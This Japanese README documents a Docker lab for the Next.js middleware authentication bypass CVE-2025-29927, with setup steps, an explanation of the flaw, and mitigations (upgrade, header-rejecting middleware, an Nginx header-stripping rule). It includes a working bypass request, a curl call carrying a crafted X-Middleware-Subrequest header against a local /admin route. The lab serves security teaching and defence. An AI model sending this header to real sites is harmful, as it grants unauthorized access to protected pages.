
このリポジトリは、制御された環境で Next.js CVE-2025-29927 の脆弱性を調査およびデモンストレーションするための Dockerベースのラボ 環境を含んでいます。
⚠️ 免責事項: このラボは教育およびセキュリティ研究目的のみに使用されます。パブリックインターネットに公開したり、本番環境で使用したりしないでください。
以下がインストールされていることを確認してください:
以下の手順に従ってラボをクローンして実行します:
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
これにより:
.
├── app/ # Main Next.js app code
├── public/ # Static assets (images, etc.)
├── Dockerfile # Docker setup for app
├── docker-compose.yml # Compose configuration
├── .env # Environment variables (if any)
├── README.md # You are here
⚠️ 警告: このドキュメントは教育およびセキュリティ研究目的のみに使用されます。脆弱なアプリを本番環境にデプロイしないでください。
CVE-2025-29927 は、Next.jsミドルウェアにおける重大な認証バイパス脆弱性です。攻撃者は X-Middleware-Subrequest ヘッダーを操作することで、ミドルウェアベースの認証をスキップし、保護されたルートにアクセスできるようになります。
認証なしで /admin のような保護されたルートにアクセスしてみます:
curl http://localhost:3000/admin
期待される動作: アクセスが拒否されるか、認証ページにリダイレクトされる。
脆弱な動作: 認証なしでアクセスが許可される。
X-Middleware-Subrequest ヘッダーを使用したミドルウェアのバイパスX-Middleware-Subrequest ヘッダーを付けてリクエストを送信し、ミドルウェアのチェックをバイパスします:
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
結果: ミドルウェアがバイパスされ、保護されたルートへのアクセスが許可される。
Next.jsを脆弱性が修正された以下のバージョンのいずれかに更新します:
npm install next@latest
ミドルウェアを強化してリクエストを適切に検証し、疑わしいヘッダーを含むものを拒否します:
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// Continue with normal processing
return NextResponse.next();
}
リバースプロキシ(例: Nginx)を使用している場合、受信リクエストから X-Middleware-Subrequest ヘッダーを削除するように設定します:
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
この VULNERABILITY.md ファイルは、制御された環境でCVE-2025-29927脆弱性を理解し再現するための包括的なガイドを提供します。また、そのようなエクスプロイトからNext.jsアプリケーションを保護するための実践的な緩和策も提供します。
この脆弱性に関する詳細なデモとさらなる洞察については、Techtalkpineが提供する完全な攻撃デモをブログ記事で参照できます。この記事はYouTubeのライブデモにもリンクされています: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
このセットアップの特定の部分や緩和手順についてさらに説明が必要な場合は、お知らせください。
コンテナを停止して削除するには:
docker-compose down
このプロジェクトは教育および研究目的のみを目的としています。すべての適用される法律および倫理ガイドラインに従って使用する責任はあなたにあります。著者は誤用または損害について一切の責任を負いません。